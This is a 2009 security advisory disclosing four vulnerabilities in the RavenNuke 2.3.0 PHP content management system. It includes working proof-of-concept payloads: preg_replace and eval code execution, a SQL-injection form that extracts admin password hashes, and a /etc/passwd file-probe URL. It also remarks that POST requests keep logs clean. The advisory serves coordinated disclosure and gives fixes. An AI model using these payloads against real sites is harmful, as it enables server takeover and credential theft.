[waraxe-2009-SA#072] - Multiple Vulnerabilities in RavenNuke 2.3.0 ===============================================================================
Author: Janek Vind "waraxe" Date: 16. February 2009 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-72.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ RavenNuke is a web-based automated news publishing and content management system based on PHP and MySQL. The system is fully controlled using a web-based graphical user interface (GUI). RavenNuke is an extensively changed fork of the phpNuke\portal system. http://ravenphpscripts.com/ List of found vulnerabilities =============================================================================== 1. Remote Php Code Execution in "avatarlist.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Security risk: High Reasons: 1. uninitialized arrays "patterns" and "replacements" Preconditions: 1. attacker must be logged in as user Comments: 1. Exploit is using "preg_replace" e-modifier 2. "register_globals" setting does not matter 3. Sentinel will not stop this exploit 4. POST method will leave clean logs in most real-world cases Test using GET method: http://localhost/ravennuke230/modules.php?name=Your_Account&op=avatarlist &avatarcategory=gallery&patterns[6]=/a/e&replacements[6]=phpinfo() Test using POST method: ------------------------------------------------------------ <html><body><center> <form action="http://localhost/ravennuke230/modules.php? name=Your_Account&op=avatarlist" method="post"> <input type="hidden" name="avatarcategory" value="gallery"> <input type="hidden" name="patterns[6]" value="/a/e"> <input type="hidden" name="replacements[6]" value="phpinfo()"> <input type="submit" value="Test!"> </form> </center></body></html> ------------------------------------------------------------ Fragment of vulnerable source code: ------------------------------------------------------------ $patterns[0] = '/\.gif/'; $patterns[1] = '/\.png/'; ... $replacements[1] = ''; $replacements[0] = ''; ... $entryname = preg_replace($patterns, $replacements, $entry); ------------------------------------------------------------ Solution: initialize arrays before use. 2. Remote Php Code Execution in "Your Account" module ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Security risk: medium Reasons: 1. insecure use of "eval()" php function Precoditions: 1. Attacker must have admin rights for "Your Account" in order to change custom fields Comments: 1. This is privilege escalation vulnerability Test: 1. log in as admin and go to "Custom Fields" in users administration: http://localhost/ravennuke230/admin.php?op=yaCustomFields 2. insert "_Z;phpinfo()" (without quotes) into input box "ID Field Name" 3. click "Save fields" 4. now go to "Users": http://localhost/ravennuke230/admin.php?op=yaUsers and select "User Details" for any user, click "OK". Resulting page will display output of the "phpinfo()", done :) Fragment of vulnerable source code: ------------------------------------------------------- /* Get Custom Fields and display them in desired order ... $result = $db->sql_query('SELECT * FROM ' . $user_prefix . '_users_fields WHERE need <> "0" AND public="1" ORDER BY pos'); ... while ($sqlvalue = $db->sql_fetchrow($result)) { if (substr($sqlvalue['name'], 0, 1) == '_') @eval('$name_exit = ' . $sqlvalue['name'] . ';'); ------------------------------------------------------- 3. Sql Injection in "Resend_Email" module ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Security risk: medium Reasons: 1. Insecure use of "extract()" php function Preconditions: 1. attacker must be logged in as admin Comments: 1. This is privilege escalation vulnerability 2. POST method will leave clean logs in most real-world cases Test using POST method: ------------------------------------------------------------ <html><body><center> <form action="http://localhost/ravennuke230/modules.php ?name=Resend_Email" method="post"> <input type="hidden" name="user_prefix" value="nuke_users_temp WHERE 1=2 UNION SELECT 1,2, CONCAT_WS(0x3a,aid,name,radminsuper,email,pwd),4,5,6,7,8 FROM nuke_authors-- "> <input type="submit" value="Test!"> </form> </center></body></html> ------------------------------------------------------------ Fragment of vulnerable source code: ------------------------------------------------------------ if (!is_admin($admin)) endit(_ACCESSDENIED); ... extract($HTTP_POST_VARS); ... $result = $db->sql_query('select user_id, username, user_email, user_password, user_regdate, check_num, time, requestor from '.$user_prefix.'_users_temp'); ------------------------------------------------------------ Solution: use EXTR_SKIP to avoid overwriting of existing variables 4. Remote Detection of Local Files in "captcha.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Security risk: low Reasons: 1. uninitialized array "aFonts" Preconditions: 1. "register_globals=on" 2. "display_errors=on" Comments: 1. multiple page refreshes may needed because of source code specifics 2. same method works for remote directories too! Attacker is able to detect existance of remote files or directories via different error messages, emitted by php. Test 1: http://localhost/ravennuke230/images/captcha.php?aFonts[]=/etc/waraxe Result: Warning: imageftbbox() [function.imageftbbox]: Invalid font filename in C:\apache_wwwroot\ravennuke230\includes\class.php-captcha.php on line 298 "Invalid font filename" --> file does not exist One more possible error message: Warning: imageftbbox(): Could not find/open font in ... "Could not find/open font" --> file does not exist Test 2: http://localhost/ravennuke230/images/captcha.php?aFonts[]=/etc/passwd Result: Warning: imageftbbox() [function.imageftbbox]: Could not read font in C:\apache_wwwroot\ravennuke230\includes\class.php-captcha.php on line 298 "Could not read font" --> file exists How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Upgrade to new version 2.30.01 Disclosure Timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 01/16/09 Developer contacted 01/16/09 Developer's initial response 01/17/09 Fidings sent to developer 02/15/09 Patched version 2.30.01 released by developer 02/16/09 Public disclosure Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, mge, str0ke, to all active waraxe.us forum members and to anyone else who know me! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [email protected] Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ ---------------------- [ EOF ] ------------------------------
